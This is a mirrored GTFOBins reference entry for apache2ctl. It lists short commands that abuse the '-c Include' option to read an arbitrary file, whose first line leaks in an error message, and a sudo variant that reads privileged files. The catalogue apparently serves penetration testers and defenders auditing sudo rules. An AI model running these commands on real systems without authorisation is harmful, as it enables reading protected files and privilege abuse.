1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/apache2ctl.md
2023-12-23 12:13:45 +01:00

13 lines
337 B
Markdown

---
description: This includes the file in the actual configuration file, the first line is leaked as an error message.
functions:
file-read:
- code: |
LFILE=file_to_read
apache2ctl -c "Include $LFILE" -k stop
sudo:
- code: |
LFILE=file_to_read
sudo apache2ctl -c "Include $LFILE" -k stop
---